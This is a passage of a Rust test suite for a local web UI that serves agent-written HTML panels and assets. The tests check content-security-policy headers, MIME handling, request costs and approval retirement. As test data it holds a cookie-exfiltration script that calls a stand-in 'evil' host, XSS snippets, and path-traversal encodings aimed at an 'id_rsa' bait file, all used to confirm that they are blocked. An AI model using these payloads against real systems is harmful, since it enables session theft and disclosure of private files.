11080 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11081 (tmp, repos)
11082 }
11083
11084 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11085 let (tmp, repos) = performance_repositories().await;
11086 let machine = tmp.path().join("machine.toml");
11087 std::fs::write(&machine, "").unwrap();
11088 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11089 (tmp, repos, fx)
11090 }
11091
11092 fn seed_performance(
11093 fx: &Fixture,
11094 repos: &[PathBuf; 2],
11095 questions: usize,
11096 runs: usize,
11097 items: usize,
11098 ) {
11099 for i in fx.questions().list().len()..questions {
11101 let mut question = Question::new(
11102 "20261001-000000-0000".into(),
11103 "implement".into(),
11104 "impl-A".into(),
11105 format!("question {i}"),
11106 "context".into(),
11107 vec!["yes".into(), "no".into()],
11108 );
11109 question.id = format!("20261003-000000-{i:04x}");
11110 fx.questions().put(&mut question).unwrap();
11111 }
11112 for i in run_ids(&fx.runs()).len()..runs {
11113 write_run_repo(
11114 &fx.runs(),
11115 &format!("20261001-000000-{i:04x}"),
11116 RunStatus::Ready,
11117 repos[i % 2].to_str().unwrap(),
11118 );
11119 }
11120 for i in fx.talks().list().len()..items {
11121 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11122 let mut talk = fx.talks().get(&id).unwrap();
11123 talk.repo = repos[i % 2].clone();
11124 fx.talks().put(&mut talk).unwrap();
11125 let mut task = crate::queue::Task::new(
11126 format!("task {i}"),
11127 "instruction".into(),
11128 repos[i % 2].clone(),
11129 crate::queue::Source::Agent {
11130 run: id,
11131 node: crate::queue::CHAT_NODE.into(),
11132 },
11133 );
11134 task.id = format!("20261004-000000-{i:04x}");
11135 fx.queue().put(&mut task).unwrap();
11136 if i < crate::notices::CAP {
11138 Notices::at(fx.home.path().join("notifications"))
11139 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11140 .unwrap();
11141 }
11142 }
11143 assert_eq!(fx.questions().list().len(), questions);
11144 assert_eq!(run_ids(&fx.runs()).len(), runs);
11145 assert_eq!(fx.talks().list().len(), items);
11146 assert_eq!(fx.queue().list().len(), items);
11147 assert_eq!(
11148 Notices::at(fx.home.path().join("notifications"))
11149 .list()
11150 .len(),
11151 items.min(crate::notices::CAP)
11152 );
11153 }
11154
11155 fn request_counts(res: &Res) -> (usize, usize) {
11156 assert_eq!(res.status, 200, "{}", res.body);
11157 (
11158 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11159 res.header("x-test-git").unwrap().parse().unwrap(),
11160 )
11161 }
11162
11163 #[tokio::test]
11164 async fn list_request_cost_is_independent_of_record_count() {
11165 let (_tmp, repos, fx) = performance_fixture().await;
11166 let mut previous = None;
11167 for n in [4, 60] {
11168 seed_performance(&fx, &repos, n, n, n);
11169 let mut costs = Vec::new();
11170 for (path, discoveries) in [
11171 ("/api/questions", 1),
11172 ("/api/talks", 0),
11173 ("/api/health", 0),
11174 ("/api/stats", 1),
11175 ] {
11176 for repo in &repos {
11179 let cache = repo.join(".git/magi/config");
11180 if cache.exists() {
11181 std::fs::remove_dir_all(cache).unwrap();
11182 }
11183 }
11184 let cost = request_counts(&fx.get(path).await);
11185 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11186 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11187 assert!(
11188 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11189 "{path}: {cost:?}"
11190 );
11191 costs.push(cost);
11192 }
11193 if let Some(previous) = previous {
11194 assert_eq!(costs, previous);
11195 }
11196 previous = Some(costs);
11197 }
11198 }
11202
11203 #[tokio::test]
11206 async fn list_handler_cost_without_transport() {
11207 let (_tmp, repos) = performance_repositories().await;
11208 let fx = Fixture {
11209 home: TempDir::new().unwrap(),
11210 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11211 };
11212 let ui = Arc::new(
11213 Ui::new(
11214 fx.queue(),
11215 fx.questions(),
11216 fx.talks(),
11217 fx.runs(),
11218 fx.home.path().to_path_buf(),
11219 repos[0].clone(),
11220 )
11221 .with_worktrees_root(fx.home.path().join("wt")),
11222 );
11223 let mut previous = None;
11224 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11225 seed_performance(&fx, &repos, n, runs, items);
11226 let mut costs = Vec::new();
11227 for endpoint in ["questions", "talks", "health", "stats"] {
11228 for repo in &repos {
11229 let cache = repo.join(".git/magi/config");
11230 if cache.exists() {
11231 std::fs::remove_dir_all(cache).unwrap();
11232 }
11233 }
11234 let (_, cost) = request_cost::measure(async {
11235 match endpoint {
11236 "questions" => {
11237 let _ = questions_list(State(ui.clone())).await.unwrap();
11238 }
11239 "talks" => {
11240 let _ = talks_list(
11241 State(ui.clone()),
11242 Query(ListQuery {
11243 limit: None,
11244 ids: None,
11245 }),
11246 header::HeaderMap::new(),
11247 )
11248 .await
11249 .unwrap();
11250 }
11251 "health" => {
11252 let _ = health(State(ui.clone())).await.unwrap();
11253 }
11254 _ => {
11255 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11256 .await
11257 .unwrap();
11258 }
11259 }
11260 })
11261 .await;
11262 eprintln!("{endpoint} handler N={n}: {cost:?}");
11263 assert_eq!(
11264 cost.0,
11265 if matches!(endpoint, "talks" | "health") {
11266 0
11267 } else {
11268 1
11269 },
11270 "{endpoint}"
11271 );
11272 assert!(
11273 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11274 "{endpoint}: {cost:?}"
11275 );
11276 costs.push(cost);
11277 }
11278 if let Some(previous) = previous {
11279 assert_eq!(costs, previous);
11280 }
11281 previous = Some(costs);
11282 }
11283 }
11284
11285 #[tokio::test]
11286 async fn list_request_cost_scopes_do_not_mix() {
11287 let (_tmp, repos, fx) = performance_fixture().await;
11288 seed_performance(&fx, &repos, 10, 0, 10);
11289 let (questions, talks, notices) = tokio::join!(
11290 fx.get("/api/questions"),
11291 fx.get("/api/talks"),
11292 fx.get("/api/notifications")
11293 );
11294 assert_eq!(request_counts(&questions).0, 1);
11295 assert_eq!(request_counts(&talks), (0, 0));
11298 assert_eq!(request_counts(¬ices), (0, 0));
11299 }
11300
11301 #[tokio::test]
11302 async fn list_endpoints_large_home_responses() {
11303 check_large_home_endpoints(false).await;
11304 }
11305
11306 #[tokio::test]
11307 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11308 async fn list_endpoints_large_home_ceiling() {
11309 check_large_home_endpoints(true).await;
11310 }
11311
11312 async fn check_large_home_endpoints(timed: bool) {
11313 let (_tmp, repos, fx) = performance_fixture().await;
11314 seed_performance(&fx, &repos, 200, 300, 400);
11315 let mut failures = Vec::new();
11316 for path in [
11319 "/",
11320 "/app.js",
11321 "/app.css",
11322 "/api/questions",
11323 "/api/runs?limit=300",
11324 "/api/queue",
11325 "/api/talks",
11326 "/api/notifications",
11327 "/api/health",
11328 "/api/stats",
11329 "/api/loop",
11330 "/api/settings",
11331 "/api/repos",
11332 ] {
11333 let start = std::time::Instant::now();
11334 let result = if timed {
11335 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11336 } else {
11337 Ok(fx.get(path).await)
11338 };
11339 let elapsed = start.elapsed();
11340 eprintln!("{path}: {elapsed:?}");
11341 match result {
11342 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11343 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11344 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11345 }
11346 }
11347 assert!(failures.is_empty(), "{}", failures.join("\n"));
11348 }
11349
11350 struct Res {
11351 status: u16,
11352 headers: String,
11353 head: String,
11358 body: String,
11359 bytes: Vec<u8>,
11363 }
11364
11365 impl Res {
11366 fn json(&self) -> Value {
11367 serde_json::from_str(&self.body)
11368 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11369 }
11370
11371 fn header(&self, name: &str) -> Option<&str> {
11373 self.head.lines().find_map(|line| {
11374 let (key, value) = line.split_once(':')?;
11375 key.trim()
11376 .eq_ignore_ascii_case(name)
11377 .then(|| value.trim_start().trim_end_matches('\r'))
11378 })
11379 }
11380 }
11381
11382 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11385 request_with(addr, method, path, body, &[]).await
11386 }
11387
11388 async fn request_with(
11392 addr: SocketAddr,
11393 method: &str,
11394 path: &str,
11395 body: Option<&str>,
11396 extra: &[(&str, &str)],
11397 ) -> Res {
11398 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11399 for (name, value) in extra {
11400 head.push_str(&format!("{name}: {value}\r\n"));
11401 }
11402 if let Some(body) = body {
11403 head.push_str("Content-Type: application/json\r\n");
11404 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11405 }
11406 head.push_str("\r\n");
11407 if let Some(body) = body {
11408 head.push_str(body);
11409 }
11410 let mut socket = tokio::net::TcpStream::connect(addr)
11411 .await
11412 .expect("connect to the test server");
11413 socket
11414 .write_all(head.as_bytes())
11415 .await
11416 .expect("write request");
11417 let mut raw = Vec::new();
11418 socket.read_to_end(&mut raw).await.expect("read response");
11419 let split = raw
11422 .windows(4)
11423 .position(|w| w == b"\r\n\r\n")
11424 .expect("a header block");
11425 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11426 let bytes = raw[split + 4..].to_vec();
11427 let status = head
11428 .lines()
11429 .next()
11430 .and_then(|line| line.split_whitespace().nth(1))
11431 .and_then(|code| code.parse().ok())
11432 .expect("a status line");
11433 Res {
11434 status,
11435 headers: head.to_lowercase(),
11436 head,
11437 body: String::from_utf8_lossy(&bytes).into_owned(),
11438 bytes,
11439 }
11440 }
11441
11442 async fn request_bytes(
11448 addr: SocketAddr,
11449 path: &str,
11450 headers: &[(&str, &str)],
11451 body: &[u8],
11452 ) -> Res {
11453 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11454 for (name, value) in headers {
11455 head.push_str(&format!("{name}: {value}\r\n"));
11456 }
11457 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11458 let mut socket = tokio::net::TcpStream::connect(addr)
11459 .await
11460 .expect("connect to the test server");
11461 socket
11462 .write_all(head.as_bytes())
11463 .await
11464 .expect("write request head");
11465 socket.write_all(body).await.expect("write request body");
11466 let mut raw = Vec::new();
11467 socket.read_to_end(&mut raw).await.expect("read response");
11468 let split = raw
11469 .windows(4)
11470 .position(|w| w == b"\r\n\r\n")
11471 .expect("a header block");
11472 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11473 let bytes = raw[split + 4..].to_vec();
11474 let status = head
11475 .lines()
11476 .next()
11477 .and_then(|line| line.split_whitespace().nth(1))
11478 .and_then(|code| code.parse().ok())
11479 .expect("a status line");
11480 Res {
11481 status,
11482 headers: head.to_lowercase(),
11483 head,
11484 body: String::from_utf8_lossy(&bytes).into_owned(),
11485 bytes,
11486 }
11487 }
11488
11489 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11491 let mut state = RunState::new(
11492 PathBuf::from("/repo/magi"),
11493 "main".to_owned(),
11494 "0123456789abcdef".to_owned(),
11495 "Add a web UI\n\nMobile first.".to_owned(),
11496 Config::default(),
11497 );
11498 state.id = id.to_owned();
11499 state.status = status;
11500 let dir = runs.join(id);
11501 std::fs::create_dir_all(&dir).expect("run dir");
11502 std::fs::write(
11503 dir.join("run.json"),
11504 serde_json::to_string_pretty(&state).expect("serialize run"),
11505 )
11506 .expect("write run.json");
11507 }
11508
11509 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11513 let mut state = RunState::new(
11514 PathBuf::from(repo),
11515 "main".to_owned(),
11516 "0123456789abcdef".to_owned(),
11517 "task".to_owned(),
11518 Config::default(),
11519 );
11520 state.id = id.to_owned();
11521 state.status = status;
11522 let dir = runs.join(id);
11523 std::fs::create_dir_all(&dir).expect("run dir");
11524 std::fs::write(
11525 dir.join("run.json"),
11526 serde_json::to_string_pretty(&state).expect("serialize run"),
11527 )
11528 .expect("write run.json");
11529 }
11530
11531 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11532 let body = serde_json::json!({
11533 "schema": 1,
11534 "pid": 4242,
11535 "started_at": Timestamp::now().to_string(),
11536 "updated_at": updated_at.to_string(),
11537 "idle": false,
11538 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11539 "completed": 7,
11540 "polls": 143,
11541 });
11542 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11543 }
11544
11545 fn launch_idle(
11555 _opts: daemon::Opts,
11556 stop: daemon::Stop,
11557 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11558 Box::pin(async move {
11559 while !stop.stopped() {
11560 tokio::time::sleep(Duration::from_millis(2)).await;
11561 }
11562 Ok(())
11563 })
11564 }
11565
11566 fn launch_broken(
11569 _opts: daemon::Opts,
11570 _stop: daemon::Stop,
11571 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11572 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11577 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11578 Box::pin(async move {
11579 Err(anyhow::anyhow!(if first {
11580 "publish the daemon status file: read-only file system"
11581 } else {
11582 "the restarted stand-in failed as well"
11583 }))
11584 })
11585 }
11586
11587 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11596 for _ in 0..SETTLE_STEPS {
11597 let view = fx.get("/api/loop").await.json();
11598 if want(&view) {
11599 return view;
11600 }
11601 tokio::time::sleep(Duration::from_millis(10)).await;
11602 }
11603 panic!(
11604 "the loop never settled: {}",
11605 fx.get("/api/loop").await.json()
11606 );
11607 }
11608
11609 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11611 let store = fx.questions();
11612 let mut q = Question::new(
11613 "20260902-000000-beef".to_owned(),
11614 "implement".to_owned(),
11615 "impl-A".to_owned(),
11616 summary.to_owned(),
11617 "because it matters".to_owned(),
11618 choices.iter().map(|c| (*c).to_owned()).collect(),
11619 );
11620 store.put(&mut q).expect("put question");
11621 q.id
11622 }
11623
11624 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11630 let store = fx.questions();
11631 let mut q = Question::new(
11632 "20260902-000000-beef".to_owned(),
11633 "land".to_owned(),
11634 "fix".to_owned(),
11635 "Merge this?".to_owned(),
11636 "the diff is in the panel".to_owned(),
11637 vec!["merge".to_owned(), "hold".to_owned()],
11638 );
11639 let staging = fx.home.path().join("staging");
11642 std::fs::create_dir_all(&staging).expect("staging dir");
11643 let sources: Vec<PathBuf> = assets
11644 .iter()
11645 .map(|(name, bytes)| {
11646 let path = staging.join(name);
11647 std::fs::write(&path, bytes).expect("write staged asset");
11648 path
11649 })
11650 .collect();
11651 store
11652 .put_panel(&mut q, html, &sources)
11653 .expect("write the panel");
11654 store.put(&mut q).expect("put question");
11655 q.id
11656 }
11657
11658 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11667 seed_talk_at(&fx.talks(), id, status)
11668 }
11669
11670 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11671 std::fs::create_dir_all(store.root()).expect("talks dir");
11672 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11673 .expect("serialize a seat");
11674 let body = serde_json::json!({
11675 "schema": 1,
11676 "id": id,
11677 "repo": "/repo/magi",
11678 "agent": "mock",
11679 "status": status,
11680 "turns": [],
11681 "created_at": Timestamp::now().to_string(),
11682 "updated_at": Timestamp::now().to_string(),
11683 "seat": seat,
11684 });
11685 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11686 store.get(id).expect("the seeded talk has to be readable");
11687 id.to_owned()
11688 }
11689
11690 #[tokio::test]
11691 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11692 let fx = Fixture::start().await;
11693 let id = panel(
11694 &fx,
11695 "<h1>Merge?</h1><img src=\"diff.svg\">",
11696 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11697 );
11698
11699 for path in [
11700 format!("/api/questions/{id}/panel"),
11701 format!("/api/questions/{id}/asset/diff.svg"),
11702 ] {
11703 let res = fx.get(&path).await;
11704 assert_eq!(res.status, 200, "{path}: {}", res.body);
11705 assert_eq!(
11711 res.header("content-security-policy"),
11712 Some(
11713 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11714 font-src data:; base-uri 'none'; form-action 'none'; \
11715 frame-ancestors 'self'"
11716 ),
11717 "{path} is the only thing between a hostile panel and the tailnet"
11718 );
11719 assert_eq!(
11720 res.header("x-content-type-options"),
11721 Some("nosniff"),
11722 "{path}: a browser must not re-decide the type we sent"
11723 );
11724 assert_eq!(
11725 res.header("referrer-policy"),
11726 Some("no-referrer"),
11727 "{path}: a panel must not leak the question id off the machine"
11728 );
11729
11730 let pre = fx.head(&path).await;
11735 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11736 assert_eq!(
11737 pre.header("content-security-policy"),
11738 res.header("content-security-policy"),
11739 "{path}: the preflight carries the same policy"
11740 );
11741 assert_eq!(
11742 pre.header("content-type"),
11743 res.header("content-type"),
11744 "{path}: the preflight carries the same type"
11745 );
11746 }
11747 }
11748
11749 #[tokio::test]
11750 async fn a_panel_reaches_the_browser_byte_for_byte() {
11751 let fx = Fixture::start().await;
11752 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11757 let id = panel(&fx, html, &[]);
11758
11759 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11760
11761 assert_eq!(res.status, 200);
11762 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11763 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11764 assert_eq!(
11765 res.header("content-disposition"),
11766 None,
11767 "the panel itself is rendered in the frame, not downloaded"
11768 );
11769 }
11770
11771 #[tokio::test]
11772 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11773 let fx = Fixture::start().await;
11774 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11775 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11776 let id = panel(
11777 &fx,
11778 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11779 &[("diff.svg", svg), ("shot.png", png)],
11780 );
11781
11782 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11783 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11784
11785 assert_eq!(as_svg.status, 200);
11786 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11787 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11792
11793 assert_eq!(as_png.status, 200);
11794 assert_eq!(as_png.header("content-type"), Some("image/png"));
11795 assert_eq!(
11796 as_png.header("content-disposition"),
11797 None,
11798 "a raster image has no execution surface, so tapping it still shows it"
11799 );
11800 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11801 }
11802
11803 #[tokio::test]
11804 async fn an_html_asset_is_never_served_as_html() {
11805 let fx = Fixture::start().await;
11806 let id = panel(
11807 &fx,
11808 "<p>see the notes</p>",
11809 &[
11810 (
11811 "notes.html",
11812 b"<script>fetch('http://evil/'+document.cookie)</script>",
11813 ),
11814 ("hook.js", b"fetch('http://evil/')"),
11815 ("data.json", b"{}"),
11816 ("HEADLINE.TXT", b"plain"),
11817 ],
11818 );
11819
11820 for name in ["notes.html", "hook.js", "data.json"] {
11821 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11822 assert_eq!(res.status, 200, "{name}: {}", res.body);
11823 assert_eq!(
11828 res.header("content-type"),
11829 Some("application/octet-stream"),
11830 "{name} must not be a type the browser will execute or render"
11831 );
11832 }
11833 let txt = fx
11836 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11837 .await;
11838 assert_eq!(
11839 txt.header("content-type"),
11840 Some("text/plain; charset=utf-8")
11841 );
11842 }
11843
11844 #[tokio::test]
11845 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11846 let fx = Fixture::start().await;
11847 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11848 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11852
11853 for encoded in [
11860 "%2e%2e%2fid_rsa",
11861 "..%2fid_rsa",
11862 "..%5cid_rsa",
11863 "%2e%2e%5cid_rsa",
11864 "diff%00.svg",
11865 "..",
11866 ".hidden",
11867 "%2e%2e%2f%2e%2e%2fid_rsa",
11868 ] {
11869 let res = fx
11870 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11871 .await;
11872 assert_eq!(
11873 res.status, 400,
11874 "`{encoded}` has to be refused by name, not looked up: {}",
11875 res.body
11876 );
11877 assert!(res.json()["error"].is_string(), "{}", res.body);
11878 }
11879
11880 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11886 let res = fx
11887 .get(&format!("/api/questions/{id}/asset/{literal}"))
11888 .await;
11889 assert_eq!(
11890 res.status, 404,
11891 "`{literal}` must not match the asset route at all: {}",
11892 res.body
11893 );
11894 }
11895 }
11896
11897 #[tokio::test]
11898 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11899 let fx = Fixture::start().await;
11900 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11901 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11902
11903 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11907 assert_eq!(none.status, 404, "{}", none.body);
11908 assert!(none.json()["error"].is_string(), "{}", none.body);
11909 assert_eq!(
11910 fx.head(&format!("/api/questions/{plain}/panel"))
11911 .await
11912 .status,
11913 404,
11914 "the preflight is the only way the client can learn this"
11915 );
11916
11917 let missing = fx
11919 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11920 .await;
11921 assert_eq!(missing.status, 404, "{}", missing.body);
11922 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11923
11924 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11926 assert_eq!(
11927 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11928 404
11929 );
11930 }
11931
11932 #[tokio::test]
11933 async fn a_run_with_an_open_question_reads_as_waiting() {
11934 let fx = Fixture::start().await;
11935 let run = "20260902-000000-beef".to_owned();
11936 write_run(&fx.runs(), &run, RunStatus::Implementing);
11937
11938 let before = fx.get("/api/runs").await.json();
11939 assert_eq!(before[0]["waiting"], false, "{before}");
11940
11941 let store = fx.questions();
11942 let mut q = Question::new(
11943 run.clone(),
11944 "implement".to_owned(),
11945 "impl-A".to_owned(),
11946 "Which backend?".to_owned(),
11947 String::new(),
11948 vec!["SQLite".to_owned()],
11949 );
11950 store.put(&mut q).expect("put");
11951
11952 let during = fx.get("/api/runs").await.json();
11953 assert_eq!(during[0]["waiting"], true, "{during}");
11954
11955 q.answer(Answer::Choice("SQLite".to_owned()))
11958 .expect("answer");
11959 store.put(&mut q).expect("put");
11960 let after = fx.get("/api/runs").await.json();
11961 assert_eq!(after[0]["waiting"], false, "{after}");
11962 }
11963
11964 #[tokio::test]
11965 async fn an_open_question_is_listed_and_counted_by_health() {
11966 let fx = Fixture::start().await;
11967 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11968
11969 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11970 let listed = fx.get("/api/questions").await.json();
11971 assert_eq!(listed.as_array().expect("array").len(), 1);
11972 assert_eq!(listed[0]["id"], id);
11973 assert_eq!(listed[0]["status"], "open");
11974 assert_eq!(listed[0]["choices"][1], "Redis");
11975 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11978 }
11979
11980 fn obsolete_approval_state() -> RunState {
11981 let mut state = crate::land::tests::repair_state(true, true);
11982 state.pr = Some(crate::run::PrRecord {
11983 url: "https://github.com/example/repo/pull/42".into(),
11984 number: 42,
11985 state: "open".into(),
11986 checks: "green".into(),
11987 round: 1,
11988 rounds: 4,
11989 red_at_merge: Vec::new(),
11990 });
11991 state
11992 }
11993
11994 #[tokio::test]
11995 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11996 for owner in ["missing", "current", "completed", "later"] {
11997 let fx = Fixture {
11998 home: TempDir::new().unwrap(),
11999 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12000 };
12001 let mut state = obsolete_approval_state();
12002 state.status = RunStatus::Landing;
12003 state.parked = true;
12004 state.driver_exited = true;
12005 let mut q = Question::new(
12006 state.id.clone(),
12007 crate::land::APPROVAL_NODE.into(),
12008 "land".into(),
12009 "Old approval".into(),
12010 "Original evidence".into(),
12011 vec!["merge".into(), "hold".into()],
12012 );
12013 state.land_approval = Some(crate::run::LandApproval {
12014 question: q.id.clone(),
12015 head: "head".into(),
12016 });
12017 state.save_under(fx.home.path()).unwrap();
12018 let stale = state.clone();
12019 fx.questions().put(&mut q).unwrap();
12020 let mut task = Task::new(
12021 "Owner".into(),
12022 "Original instruction".into(),
12023 state.repo.clone(),
12024 Source::Human,
12025 );
12026 task.runs.push(state.id.clone());
12027 task.status = if owner == "completed" {
12028 TaskStatus::Done
12029 } else {
12030 TaskStatus::Parked
12031 };
12032 if owner == "later" {
12033 task.runs.push("later-run".into());
12034 }
12035 if owner != "missing" {
12036 fx.queue().put(&mut task).unwrap();
12037 }
12038 let ui = Arc::new(Ui::new(
12039 fx.queue(),
12040 fx.questions(),
12041 fx.talks(),
12042 fx.runs(),
12043 fx.home.path().into(),
12044 state.repo.clone(),
12045 ));
12046 let response = question_answer(
12047 State(ui),
12048 Path(q.id.clone()),
12049 Ok(Json(NewAnswer {
12050 choice: Some(crate::merge_decision::DISMISS.into()),
12051 text: None,
12052 ..Default::default()
12053 })),
12054 )
12055 .await
12056 .unwrap();
12057 assert_eq!(
12058 response.0.question.resolution().as_deref(),
12059 Some(crate::merge_decision::DISMISS)
12060 );
12061 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12062 assert_eq!(disk.status, RunStatus::Superseded);
12063 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12064 assert!(!crate::merge_decision::resumable_hold(&disk));
12065 assert_eq!(
12066 serde_json::to_value(&disk.pr).unwrap(),
12067 serde_json::to_value(&stale.pr).unwrap()
12068 );
12069 assert_eq!(fx.questions().count_open(), 0);
12070 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12071 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12072 if owner == "missing" {
12073 assert!(fx.queue().list().is_empty());
12074 } else {
12075 let after = fx.queue().get(&task.id).unwrap();
12076 assert_eq!(
12077 after.status,
12078 if owner == "current" {
12079 TaskStatus::Done
12080 } else {
12081 task.status
12082 }
12083 );
12084 assert_eq!(after.runs, task.runs);
12085 assert_eq!(after.instruction, task.instruction);
12086 assert_eq!(after.action_applied(&q.id), owner == "current");
12087 }
12088 }
12089 }
12090
12091 #[tokio::test]
12092 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12093 let fx = Fixture::start().await;
12094 let mut state = obsolete_approval_state();
12095 state.status = RunStatus::Landing;
12096 state.parked = true;
12097 state.driver_exited = true;
12098 let mut q = Question::new(
12099 state.id.clone(),
12100 crate::land::APPROVAL_NODE.into(),
12101 "land".into(),
12102 "Superseded PR approval".into(),
12103 "Original review evidence".into(),
12104 vec!["merge".into(), "hold".into()],
12105 );
12106 state.land_approval = Some(crate::run::LandApproval {
12107 question: q.id.clone(),
12108 head: "old-reviewed-head".into(),
12109 });
12110 state.save_under(fx.home.path()).unwrap();
12113 let stale_driver = state.clone();
12114 fx.questions().put(&mut q).unwrap();
12115 let path = fx
12116 .home
12117 .path()
12118 .join("questions")
12119 .join(format!("{}.json", q.id));
12120 let mut legacy = serde_json::to_value(&q).unwrap();
12121 legacy["schema"] = 9.into();
12122 legacy.as_object_mut().unwrap().remove("merge_target");
12123 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12124
12125 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12128 let answer_path = format!("/api/questions/{}/answer", q.id);
12129 let res = fx.post(&answer_path, Some(&body)).await;
12130 assert_eq!(res.status, 200, "{}", res.body);
12131 let disk = fx.questions().get(&q.id).unwrap();
12132 assert_eq!(
12133 disk.resolution().as_deref(),
12134 Some(crate::merge_decision::DISMISS)
12135 );
12136 assert!(disk.detail.starts_with("Original review evidence"));
12137 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12138 assert_eq!(retired.status, RunStatus::Superseded);
12139 assert_eq!(
12140 serde_json::to_value(&retired.pr).unwrap(),
12141 serde_json::to_value(&state.pr).unwrap()
12142 );
12143 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12144 assert!(!crate::merge_decision::resumable_hold(&retired));
12145 assert!(fx.queue().list().is_empty());
12146 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12147 let addr = Fixture::serve(
12149 fx.home.path(),
12150 PathBuf::from("/repo/magi"),
12151 launch_idle,
12152 None,
12153 )
12154 .await;
12155 let reconnected = Fixture {
12156 home: fx.home,
12157 addr,
12158 };
12159 let listed = reconnected.get("/api/questions").await.json();
12160 assert!(
12161 listed
12162 .as_array()
12163 .unwrap()
12164 .iter()
12165 .all(|q| q["status"] != "open")
12166 );
